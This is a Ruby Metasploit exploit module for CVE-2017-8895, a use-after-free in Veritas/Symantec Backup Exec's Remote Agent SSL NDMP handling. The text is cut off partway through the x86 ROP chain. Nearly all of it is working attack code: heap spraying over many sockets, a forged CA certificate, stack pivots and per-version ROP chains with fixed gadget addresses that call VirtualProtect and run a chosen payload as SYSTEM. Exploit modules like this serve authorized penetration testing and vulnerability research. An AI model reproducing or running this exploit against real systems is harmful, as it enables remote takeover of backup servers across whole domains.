## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/ndmp_socket' require 'openssl' require 'xdr' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::NDMPSocket def initialize(info={}) super(update_info(info, 'Name' => 'Veritas/Symantec Backup Exec SSL NDMP Connection Use-After-Free', 'Description' => %q{ This module exploits a use-after-free vulnerability in the handling of SSL NDMP connections in Veritas/Symantec Backup Exec's Remote Agent for Windows. When SSL is re-established on a NDMP connection that previously has had SSL established, the BIO struct for the connection's previous SSL session is reused, even though it has previously been freed. This module supports 3 specific versions of the Backup Exec agent in the 14, 15 and 16 series on 64-bit and 32-bit versions of Windows and has been tested from Vista to Windows 10. The check command can help narrow down what major and minor revision is installed and the precise of version of Windows, but some other information may be required to make a reliable choice of target. NX, ASLR and Windows 8+ anti-ROP mitigations are bypassed. On Windows 8+, it has a reliability of around 85%. On other versions of Windows, reliability is around 35% (due to the need to win a race condition across the network in this case; this may drop further depending on network conditions). The agent is normally installed on all hosts in a domain that need to be backed up, so if one service crashes, try again on another :) Successful exploitation will give remote code execution as the user of the Backup Exec Remote Agent for Windows service, almost always NT AUTHORITY\SYSTEM. }, 'License' => MSF_LICENSE, 'Author' => [ 'Matthew Daley' ], 'References' => [ [ 'CVE', '2017-8895' ], [ 'VTS', '17-006' ], [ 'URL', 'https://www.veritas.com/content/support/en_US/security/VTS17-006.html' ] ], 'Platform' => 'win', 'Stance' => Msf::Exploit::Stance::Aggressive, 'Payload' => { 'DisableNops' => true }, 'Targets' => [ [ 'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x64', { 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => true } ], [ 'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x86', { 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => true } ], [ 'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x64', { 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => false } ], [ 'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x86', { 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => false } ], [ 'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x64', { 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => true } ], [ 'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x86', { 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => true } ], [ 'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x64', { 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => false } ], [ 'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x86', { 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => false } ], [ 'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64', { 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => true } ], [ 'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x86', { 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => true } ], [ 'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x64', { 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => false } ], [ 'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x86', { 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => false } ] ], 'DefaultOptions' => { 'RPORT' => 10000, 'NumTriggerAttempts' => 50, 'EXITFUNC' => 'thread' }, 'Privileged' => true, 'DisclosureDate' => 'May 10 2017', 'DefaultTarget' => 8)) register_options([ OptInt.new('NumSpraySockets', [ false, 'Number of sockets to spray stage 1 with' ]), OptInt.new('NumTLSSpraySockets', [ false, 'Number of sockets to spray TLS extensions with' ]), OptInt.new('NumTriggerAttempts', [ true, 'Number of attempts to trigger the vulnerability (Windows 8+ only)' ]) ]) end def check s = NDMP::Socket.new(connect) return CheckCode::Unknown unless connect_ndmp(s, 2) resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_HOST_INFO)) return CheckCode::Unknown unless resp info = HostInfoResponse.from_xdr(resp.body) print_line('Hostname: ' + info.hostname) print_line('OS type: ' + info.os_type) print_line('OS version: ' + info.os_version) print_line('Host ID: ' + info.host_id) disconnect s = NDMP::Socket.new(connect) return CheckCode::Unknown unless connect_ndmp(s, 3) resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO)) return CheckCode::Unknown unless resp info = ServiceInfoResponse.from_xdr(resp.body) print_line('Vendor: ' + info.vendor_name) print_line('Product: ' + info.product_name) print_line('Revision: ' + info.revision_number) ver = info.revision_number.split('.') if ver[0].to_i < 9 || (ver[0].to_i == 9 && ver[1].to_i <= 2) CheckCode::Appears else CheckCode::Detected end end def exploit print_status('Connecting sockets...') # Connect a differing amount of sockets for stage 1 spraying depending on the target spray_socks = connect_additional_sockets( datastore['NumSpraySockets'] || (target.opts['Win8Upwards'] ? 100 : 200), target.opts['Arch'] == ARCH_X64 && target.opts['Win8Upwards'] ? 2 : 3 ) # Likewise, connect a differing amount of sockets for TLS extension spraying depending # on the target num_tls_spray_socks = datastore['NumTLSSpraySockets'] || ( case target.opts['Version'] when 14 0 when 15 target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 ? 50 : 100 when 16 target.opts['Arch'] == ARCH_X64 ? 100 : 0 end ) tls_spray_socks = connect_additional_sockets(num_tls_spray_socks, 3) s = NDMP::Socket.new(connect) unless connect_ndmp(s, 3) fail_with(Failure::UnexpectedReply, "Couldn't connect main socket") end ca_cert, ca_key = generate_ca_cert_and_key ca_cert_id = get_cert_id(ca_cert) print_status("CA certificate ID = #{ca_cert_id.to_s(16)}") print_status('Getting and handling a certificate signing request...') agent_cert = handle_a_csr(s, ca_cert, ca_key) fail_with(Failure::UnexpectedReply, "Couldn't sign certificate request") if agent_cert.nil? print_status("Agent certificate ID = #{get_cert_id(agent_cert).to_s(16)}") if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 && target.opts['Version'] != 15 # For certain target types, put the stage 1 spray sockets into SSL mode. We can use # the newly made CA certificate and key as our client side certificate ssl_context = OpenSSL::SSL::SSLContext.new ssl_context.cert = ca_cert ssl_context.key = ca_key print_status('Entering spray sockets into SSL mode...') (1..2).each do |phase| spray_socks.each do |ss| require_empty_ssl_request(ss, SSLRequest::Opcode.test_cert, ca_cert_id, phase) require_empty_ssl_request(ss, SSLRequest::Opcode.start_ssl, ca_cert_id, phase) ss.wrap_with_ssl(ssl_context) if phase == 2 end end end print_status('Testing certificate...') require_empty_ssl_request(s, SSLRequest::Opcode.test_cert, ca_cert_id) # For some targets, split the spraying of TLS extensions around entering SSL on the # main socket tls_cutoff = tls_spray_socks.length if target.opts['Win8Upwards'] if target.opts['Arch'] == ARCH_X86 tls_cutoff /= 2 end else tls_cutoff /= 10 end spray_tls_extensions(tls_spray_socks[0...tls_cutoff], ca_cert_id) print_status('Entering SSL mode on main socket...') require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id) spray_tls_extensions(tls_spray_socks[tls_cutoff...tls_spray_socks.length], ca_cert_id) # Send stages 2 to 4 in a TLS or SSLv2 handshake record. We do this so that the other # stages are contained in the SSL socket buffer at the time of the UAF. The record # itself could be considered stage 1.5 as stage 1 will pivot to somewhere within the # record (depending on the amount of trigger attempts required; see attempt_triggers) print_status('Sending stages 2 to 4...') if target.opts['Arch'] == ARCH_X64 if target.opts['Version'] == 14 # x64, version 14. Use a TLS handshake record # # Windows 8+: # Stage 1 jumps to 0x1d or 0x30 + [0, NumTriggerAttempts - 2] * 8 # 0 1 2 3 4 5 6 7 8 9 A B C D E F # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 0 | 16 | 03 | 01 | length | FILLER # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 10 | ret 3 # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 20 | ret | FILLER | # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 30 | retsled (0x10 aligned length)... | # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # .. | stages 2-4... # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # # Otherwise: # Stage 1 jumps to 0x18 # 0 1 2 3 4 5 6 7 8 9 A B C D E F # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 0 | 16 | 03 | 01 | length | FILLER # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 10 | ret | # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 20 | stages 2-4... # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ ret = [0xbe6c897].pack('Q<') if target.opts['Win8Upwards'] ret_3 = [0xbe2829b].pack('Q<') payload = rand_text(24) + ret_3 + ret + rand_text(3) + ret * [0, (datastore['NumTriggerAttempts'] - 1) & ~1].max else payload = rand_text(19) + ret end payload << generate_stages_2_to_4 stage_tls = generate_tls_handshake_record(payload) else # x64, version 15/16. Use a SSLv2 hqndshake record # Windows 8+: Stage 1 jumps to 0x23 or 0x38 + [0, NumTriggerAttempts - 2] * 8 # Otherwise: Stage 1 jumps to 0x18 # 0 1 2 3 4 5 6 7 8 9 A B C D E F # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 0 | length | 01 | 03 | FILLER # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 10 | pop x3; ret | # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 20 | FILLER | ret 5 | ret # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 30 | FILLER | retsled (0x8 aligned length)... | # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 40 | stages 2 - 4... # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ pop_x3 = [0xbe1d920].pack('Q<') ret_5 = [target.opts['Version'] == 15 ? 0xbe61731 : 0xbe62c16].pack('Q<') ret = [0xbe6c897].pack('Q<') payload = rand_text(20) + pop_x3 + rand_text(3) + ret_5 + ret + rand_text(5) + ret * [1, (datastore['NumTriggerAttempts'] & ~1) - 1].max + generate_stages_2_to_4 stage_tls = generate_tls_in_sslv2_clienthello(payload) end else if target.opts['Version'] == 14 # x86, version 14. Use a TLS handshake record # Windows 8+: Stage 1 jumps to 0x9 or 0x14 + [0, NumTriggerAttempts - 2] * 4 # Otherwise: Stage 1 jumps to 0x4 # 0 1 2 3 4 5 6 7 8 9 A B C D E F # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 0 | 16 | 03 | 01 | ln | pop x3; ret | FL | ret 3 | ret # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 10 | FILLER | retsled... | stages 2 to 4... # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ pop_x3 = [0x6311f901].pack('L<') ret_3 = [0x6312164a].pack('L<') ret = [0x63101514].pack('L<') payload = (pop_x3[1...pop_x3.length] + rand_char + ret_3 + ret + rand_text(3) + ret * [0, datastore['NumTriggerAttempts'] - 2].max + generate_stages_2_to_4) stage_tls = generate_tls_handshake_record(payload, pop_x3[0]) else # x86, version 15/16. Use a SSLv2 hqndshake record # Windows 8+: Stage 1 jumps to 0xf or 0x14 + [0, NumTriggerAttempts - 2] * 4 # Otherwise: Stage 1 jumps to 0x4 # 0 1 2 3 4 5 6 7 8 9 A B C D E F # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 0 | length | 01 | 03 | add esp, 0xc; ret | FILLER | inc esp; ret # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ # 10 | FL | retsled... | stages 2 to 4... # +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+ add_esp_0xc = [target.opts['Version'] == 15 ? 0x6312890f : 0x6312898f].pack('L<') inc_esp = [target.opts['Version'] == 15 ? 0x6311c68c : 0x63137b1b].pack('L<') ret = [0x63101564].pack('L<') payload = add_esp_0xc + rand_text(7) + inc_esp + rand_char + ret * [0, datastore['NumTriggerAttempts'] - 3].max + generate_stages_2_to_4 stage_tls = generate_tls_in_sslv2_clienthello(payload) end end s.raw_sendall(stage_tls, 0) if target.opts['Version'] == 14 resp = s.raw_recv(5) fail_with(Failure::UnexpectedReply, 'Failed to read TLS handshake response. Are you sure you selected the right target version?') if resp.empty? s.raw_recv(resp[3...5].unpack('n')[0]) end print_status('Closing TLS spray sockets...') tls_spray_socks.reverse! unless target.opts['Win8Upwards'] tls_spray_socks.each do |ts| ts.close sleep(0.1) end sleep(1) # Spray stage 1 in the string payloads of selected NDMP packet types if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X64 spray_payload = XDR::String[].to_xdr(generate_stage_1[0...-1]) spray_msg_type = NDMP::Message::CONFIG_GET_BUTYPE_ATTR else spray_payload = XDR::Int.to_xdr(1) + XDR::String[].to_xdr(generate_stage_1[0...-1]) * 2 spray_msg_type = NDMP::Message::CONNECT_CLIENT_AUTH end spray_msg = NDMP::Message.new_request(spray_msg_type, spray_payload) # We need to be able to detect as soon as a connection is made to the payload in order # to stop spraying/trigger attempts ASAP @payload_connected = false if payload_instance.respond_to?(:handle_connection) old_handle_connect = payload_instance.method(:handle_connection) payload_instance.define_singleton_method(:handle_connection) do |*args| @payload_connected = true old_handle_connect.call(*args) end end if target.opts['Win8Upwards'] # After this SSL request, the BIO struct is freed but still referred to in the new # SSL context print_status('Re-entering SSL mode on main socket...') require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id) # Attempt to overwrite the BIO struct with stage 1 and trigger the UAF attempt_triggers(s, spray_socks, spray_msg) else # Attempt to overwrite the BIO struct with stage 1 and trigger the UAF in a race attempt_race(s, spray_socks, spray_msg, ca_cert_id) end handler end private SSL_HANDSHAKE_REQUEST = 0xf383 class SSLRequest < XDR::Struct class Opcode < XDR::Enum member :test_cert, 1 member :get_csr_req, 2 member :give_signed_cert, 3 member :start_ssl, 4 seal end attribute :opcode, Opcode attribute :media_server_name, XDR::String[] attribute :media_server_fqdn, XDR::String[] attribute :media_server_addr, XDR::String[] attribute :cert_id_1, XDR::Int attribute :cert_id_2, XDR::Int attribute :unknown1, XDR::Int attribute :unknown2, XDR::Int attribute :unknown3, XDR::Int attribute :ca_cert, XDR::String[] attribute :unknown4, XDR::Int attribute :agent_cert, XDR::String[] def self.new_for_opcode(opcode) new( :opcode => opcode, :media_server_name => 'foo', :media_server_fqdn => 'foo', :media_server_addr => 'foo', :cert_id_1 => 0, :cert_id_2 => 0, :unknown1 => 0, :unknown2 => 0, :unknown3 => 0, :ca_cert => '', :unknown4 => 0, :agent_cert => '' ) end end class SSLResponse < XDR::Struct attribute :unknown1, XDR::Int attribute :unknown2, XDR::String[] attribute :unknown3, XDR::Int attribute :unknown4, XDR::String[] def empty? (attributes[:unknown1].zero? && attributes[:unknown2].empty? && attributes[:unknown3].zero? && attributes[:unknown4].empty?) end end class ServiceInfoResponse < XDR::Struct attribute :error, XDR::Int attribute :vendor_name, XDR::String[] attribute :product_name, XDR::String[] attribute :revision_number, XDR::String[] attribute :auth_types, XDR::VarArray[XDR::Int] end class HostInfoResponse < XDR::Struct attribute :error, XDR::Int attribute :hostname, XDR::String[] attribute :os_type, XDR::String[] attribute :os_version, XDR::String[] attribute :host_id, XDR::String[] attribute :unknown, XDR::VarArray[XDR::Int] end # # Perform NDMP connection handshake on a NDMP socket. Can be split into 3 stages. # def connect_ndmp(s, version, phase=nil) if phase.nil? || phase == 1 return false unless s.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED) end if phase.nil? || phase == 2 return false unless s.prepare_and_write_ndmp_msg( NDMP::Message.new_request(NDMP::Message::CONNECT_OPEN, XDR::Int.to_xdr(version)) ) end if phase.nil? || phase == 3 msg = s.read_ndmp_msg(NDMP::Message::CONNECT_OPEN) return false unless msg fail_with(Failure::UnexpectedReply, 'Bad connect result') unless XDR::Int.from_xdr(msg.body).zero? end true end # # Connect multiple NDMP sockets of a given version. Parallelizes over connection phases. # def connect_additional_sockets(num_socks, version) socks = (0...num_socks).map do NDMP::Socket.new(connect(false)) end (1..3).each do |phase| socks.each do |ss| unless connect_ndmp(ss, version, phase) fail_with(Failure::UnexpectedReply, "Couldn't connect NDMP socket (phase #{phase})") end end end socks end # # Send a Backup Exec-specific SSL NDMP request and receive the response. # def do_simple_ssl_request(s, opcode, ca_cert_id, phase=nil) if phase.nil? || phase == 1 req = SSLRequest.new_for_opcode(opcode) req.cert_id_1 = req.cert_id_2 = ca_cert_id msg = NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr) if block_given? last = s.prepare_and_write_ndmp_msg(msg, true) return nil unless last sleep(1) yield true s.raw_sendall(last, 0) yield false else return nil unless s.prepare_and_write_ndmp_msg(msg) end end if phase.nil? || phase == 2 msg = s.read_ndmp_msg(SSL_HANDSHAKE_REQUEST) return msg ? SSLResponse.from_xdr(msg.body) : nil end nil end # # Send a Backup Exec SSL NDMP request and receive the response, requiring the response # to be empty. # def require_empty_ssl_request(s, opcode, ca_cert_id, phase=nil) resp = do_simple_ssl_request(s, opcode, ca_cert_id, phase) if phase.nil? || phase == 2 fail_with(Failure::UnexpectedReply, "Failed to perform SSL request/response (opcode #{opcode})") unless resp fail_with(Failure::UnexpectedReply, "Non-empty SSL response (opcode #{opcode}) result") unless resp.empty? end end # # Get the ID Backup Exec uses to identify a x509 certificate. This is the first 4 bytes # of the SHA-1 of the issuer and the raw serial number. # def get_cert_id(cert) Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack('L<')[0] end # # Create a self-signed CA certificate and matching key. # def generate_ca_cert_and_key(key_len=2048) ca_key = OpenSSL::PKey::RSA.new(key_len) ca_cert = OpenSSL::X509::Certificate.new ca_cert.version = 3 ca_cert.serial = 1 ca_cert.subject = ca_cert.issuer = OpenSSL::X509::Name.parse('/CN=SSL UAF') ca_cert.not_before = Time.now - 60 * 60 * 24 ca_cert.not_after = Time.now + 60 * 60 * 24 * 365 ca_cert.public_key = ca_key.public_key extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, ca_cert) ca_cert.extensions = [ extn_factory.create_extension('subjectKeyIdentifier', 'hash'), extn_factory.create_extension('basicConstraints', 'critical,CA:true') ] # Have to do this after creating subjectKeyIdentifier extension ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer')) ca_cert.sign(ca_key, OpenSSL::Digest::SHA256.new) [ca_cert, ca_key] end # # Get and handle a certificate signing request from Backup Exec with the given CA # certificate and key. # def handle_a_csr(s, ca_cert, ca_key) resp = do_simple_ssl_request(s, SSLRequest::Opcode.get_csr_req, 0) return nil if resp.nil? request = OpenSSL::X509::Request.new(resp.unknown2) agent_cert = OpenSSL::X509::Certificate.new agent_cert.version = 3 agent_cert.serial = 2 agent_cert.subject = request.subject agent_cert.issuer = ca_cert.subject agent_cert.not_before = Time.now - 60 * 60 * 24 agent_cert.not_after = Time.now + 60 * 60 * 24 * 365 agent_cert.public_key = request.public_key extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, agent_cert) agent_cert.extensions = [ extn_factory.create_extension('subjectKeyIdentifier', 'hash'), extn_factory.create_extension('basicConstraints', 'critical,CA:false') ] # Have to do this after creating subjectKeyIdentifier extension agent_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer')) agent_cert.sign(ca_key, OpenSSL::Digest::SHA256.new) req = SSLRequest.new_for_opcode(SSLRequest::Opcode.give_signed_cert) req.ca_cert = ca_cert.to_s req.agent_cert = agent_cert.to_s return nil unless s.do_request_response(NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr)) agent_cert end # # Generate a TLS handshake record with the given payload. # def generate_tls_handshake_record(payload, required_fifth_byte=nil) fail_with(Failure::Unknown, 'No payload') if payload.empty? # Stage 1 for the x86 version 14 target jumps into the TLS header itself (at offset # 0x4) instead of in non-header data; here it's necessary to control the 5th byte of # the header, which is the second byte of the length word unless required_fifth_byte.nil? payload << rand_text((required_fifth_byte.ord - (payload.length & 0xff)) % 0x100) end "\x16\x03\x01" + [payload.length].pack('n') + payload end # # Generate a TLS ClientHello record with the given Random and extensions (ie. for # holding stages 2-4). # def generate_tls_clienthello(curves_extn_payload, ec_formats_extn_payload, random) if ec_formats_extn_payload.empty? && curves_extn_payload.empty? fail_with(Failure::Unknown, 'No TLS extension payloads given') end if ec_formats_extn_payload.length > 0xff fail_with(Failure::Unknown, 'Bad EC formats extension length') end if curves_extn_payload.length.odd? || curves_extn_payload.length > 0xffff fail_with(Failure::Unknown, 'Bad curves extension length') end if random.length != 0x20 fail_with(Failure::Unknown, 'Bad random length') end extns = '' unless curves_extn_payload.empty? extns << [ 10, curves_extn_payload.length + 2, curves_extn_payload.length ].pack('n*') + curves_extn_payload end unless ec_formats_extn_payload.empty? extns << [ 11, ec_formats_extn_payload.length + 1, ec_formats_extn_payload.length ].pack('nnC') + ec_formats_extn_payload end r = "\x03\x03" + random + "\x00\x00\x02\x00\x2f\x01\x00" r << [extns.length].pack('n') + extns r = "\x01" + [r.length].pack('N')[1...4] + r generate_tls_handshake_record(r) end # # Generate a TLS ClientHello record in a SSLv2 record with a given payload. # def generate_tls_in_sslv2_clienthello(payload) fail_with(Failure::Unknown, 'No payload') if payload.empty? fail_with(Failure::Unknown, 'Bad first byte') unless payload[0].ord >= 1 r = "\x01\x03" + payload [r.length | 0x8000].pack('n') + r end # # Spray a bunch of TLS extensions from the given NDMP sockets. Used for heap feng shui. # def spray_tls_extensions(tls_spray_socks, ca_cert_id) payload_len = target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40 spray = generate_tls_clienthello(rand_text(payload_len), rand_text(payload_len), rand_text(0x20)) print_status('Spraying TLS extensions...') (1..2).each do |phase| tls_spray_socks.each do |ts| require_empty_ssl_request(ts, SSLRequest::Opcode.test_cert, ca_cert_id, phase) require_empty_ssl_request(ts, SSLRequest::Opcode.start_ssl, ca_cert_id, phase) if phase == 2 ts.raw_sendall(spray, 0) sleep(0.1) end end end sleep(1) end # # Generate stage 1. # # This stage is what overwrites the freed BIO struct. It consists of a non-zero readable # location (to prevent Backup Exec from falling over or failing) and a stack pivot to # some offset from the current SSL socket buffer read location, which will hold a # TLS/SSLv2 record (from the previous SSL connection) holding stages 2-4. The pivot # offset will be different at each UAF trigger attempt; see attempt_triggers). # def generate_stage_1 if target.opts['Arch'] == ARCH_X64 stage_1 = [ # +0x18 from here is a non-zero, readable location. This is the load address of # becrypto.dll (which is non-ASLR) 0xbe00000, # On x64, we pivot into the current SSL socket buffer read location + 0x18 # lea rsp, qword ptr [rbp + 0x10]; pop rbp; ret [0xbe5ecf2, 0xbe23261, 0xbe2329b][target.opts['Version'] - 14] ].pack('Q<*') else stage_1 = [ # +0x18 from here is a non-zero, readable location. This is the load address of # becrypto.dll (which is non-ASLR) 0x63100000, # On x86, we pivot into the current SSL socket buffer read location + 0x4 # mov esp, ebp; pop ebp; ret target.opts['Version'] == 14 ? 0x631017fd : 0x6310184d ].pack('L<*') end stage_1 + rand_text((target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40) - stage_1.length) end # # Generate stages 2 to 4. # # Stage 2 is a ROP chain that copies stages 3 and 4 from the heap (that stage 1 pivoted # to) onto the stack, bypassing Windows 8+'s check before certain functions (like # VirtualProtect) that we have called them from within expected stack memory instead of # the heap. # # Stage 3 is a ROP chain that calls VirtualProtect to mark stages 3 and 4 as executable # (but we only really need stage 4 executable anyway). # # Stage 4 is the user-selected Metasploit payload code. # def generate_stages_2_to_4 stage_4 = payload.encoded if target.opts['Arch'] == ARCH_X64 if target.opts['Version'] == 14 stage_3 = [ 0, # skipped by stage 2 0xbe31359, # push rax; pop rsi; ret 0xbe01f72, # pop rax; ret 0, 0xbe3d250, # add rax, rcx; ret 0xbe1c2f9, # pop r12; ret 0xbe2ab32, # pop r8; ret 0xbe2987c, # mov rcx, rax; call r12 0xbe46d9e, # jmp qword ptr [KERNEL32!LoadLibraryW] 0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret 0, 0, 0, 0, 0xbe37f75, # push rax; pop rdi; ret 0xbe43b25, # mov rcx, rsi; call r12 0xbe01f72, # pop rax; ret 0, 0xbe3d250, # add rax, rcx; ret 0xbe6949a, # push rax; pop r12; ret 0xbe4f7ec, # pop r14; pop r13; ret 0xbe2ab32, # pop r8; ret 0, 0xbe2f917, # mov rdx, r12; mov ecx, 4; call r14 0xbe01f72, # pop rax; ret 0xbe2ab32, # pop r8; ret 0xbe36e8e, # mov rcx, rdi; call rax 0xbe01a29, # ret 0xbe46d32, # jmp qword ptr [KERNEL32!GetProcAddressStub] 0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret 0, 0, 0, 0, 0xbe37f75, # push rax; pop rdi; ret 0xbe1c2f9, # pop r12; ret 0xbe2ab32, # pop r8; ret 0xbe43b25, # mov rcx, rsi; call r12 0xbe399d0, # pop r13; ret 1 << 31, 0xbe33c3e, # mov rdx, r13; call r12 0xbe6b790, # mov r9, rcx; test edx, edx; jns 0xbe6b7a3; xor eax, eax; ret 0xbe399d0, # pop r13; ret 0, 0xbe33c3e, # mov rdx, r13; call r12 0xbe2ab32, # pop r8; ret 0x40, # PAGE_EXECUTE_READWRITE 0xbe01a29, # ret 0xbe5180b, # jmp rdi 0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret 0, 0, 0, 0, 0xbe63938 # push rsp; ret ] stage_3[3] = stage_3[43] = stage_3.length * 8 + stage_4.length kernel32_dll = "KERNEL32.dll\0".encode('UTF-16LE').force_encoding('ASCII-8BIT') stage_3[17] = stage_3[3] + kernel32_dll.length stage_3 = stage_3.pack('Q<*') + stage_4 + kernel32_dll + "VirtualProtect\0" elsif target.opts['Version'] == 15 stage_3 = [ 0xbe68a34, # push rax; pop rbx; ret 0xbe087c8, # pop rax; ret 0, 0xbe60dc0, # add rax, rcx; ret 0xbe9b627, # mov rcx, rax; call r12 0xbe4929d, # ret 0xbeb488e, # jmp qword ptr [KERNEL32!LoadLibraryAStub] 0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret 0, 0, 0, 0, 0xbe34c0c, # push rax; pop rbp; ret 0xbefc534, # mov rcx, rbx; call r12 0xbe087c8, # pop rax; ret 0, 0xbe60dc0, # add rax, rcx; ret 0xbe9b627, # mov rcx, rax; call r12 0xbefc526, # mov rdx, rcx; call r12 0xbe9ad68, # mov rcx, rbp; call r12 0xbeb4828, # jmp qword ptr [KERNEL32!GetProcAddressStub] 0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret 0, 0, 0, 0, 0xbe43269, # push rax; pop rsi; ret 0xbefc534, # mov rcx, rbx; call r12 0xbebd50e, # pop r13; ret 0, 0xbe97c4e, # mov rdx, r13; call r12 0xbeae99d, # pop r8; ret 0x40, # PAGE_EXECUTE_READWRITE 0xbe3c9c0, # test rdx, rdx; setne al; ret 0xbe68603, # mov r9, rcx; je 0xbe68612; xor eax, eax; ret 0xbe4929d, # ret 0xbe9436d, # jmp rsi 0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret 0, 0, 0, 0, 0xbe2184d, # pop rdi; ret 0xbebd50e, # pop r13; ret 0xbe9a8ac # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi ] stage_3[2] = stage_3[29] = stage_3.length * 8 + stage_4.length stage_3[15] = stage_3[2] + "KERNEL32.dll\0".length stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0" elsif target.opts['Version'] == 16 stage_3 = [ 0xbe4e888, # push rax; pop rbx; ret 0xbe01f72, # pop rax; ret 0, 0xbe610f0, # add rax, rcx; ret 0xbe9c70c, # mov rcx, rax; call r12 0xbe01c2c, # ret 0xbeb5d8e, # jmp qword ptr [KERNEL32!LoadLibraryAStub] 0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret 0, 0, 0, 0, 0xbe12ed0, # pop rdi; ret 0xbe45a01, # pop r13; ret 0xbeaedb0, # mov rbp, rax; call rdi 0xbe5851a, # mov rcx, rbx; call r12 0xbe01f72, # pop rax; ret 0, 0xbe610f0, # add rax, rcx; ret 0xbe9c70c, # mov rcx, rax; call r12 0xbefe516, # mov rdx, rcx; call r12 0xbe9bf28, # mov rcx, rbp; call r12 0xbeb5d28, # jmp qword ptr [KERNEL32!GetProcAddressStub] 0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret 0, 0, 0, 0, 0xbe433b9, # push rax; pop rsi; ret 0xbe5851a, # mov rcx, rbx; call r12 0xbe45a01, # pop r13; ret 0, 0xbe2e55e, # mov rdx, r13; call r12 0xbe27c76, # pop r8; ret 0x40, # PAGE_EXECUTE_READWRITE 0xbe3caf0, # test rdx, rdx; setne al; ret 0xbe68c73, # mov r9, rcx; je 0xbe68c82; xor eax, eax; ret 0xbe01c2c, # ret 0xbe56cad, # jmp rsi 0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret 0, 0, 0, 0, 0xbe12ed0, # pop rdi; ret 0xbe45a01, # pop r13; ret 0xbe9ba6c # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi ] stage_3[2] = stage_3[31] = stage_3.length * 8 + stage_4.length stage_3[17] = stage_3[2] + "KERNEL32.dll\0".length stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0" end else if target.opts['Version'] 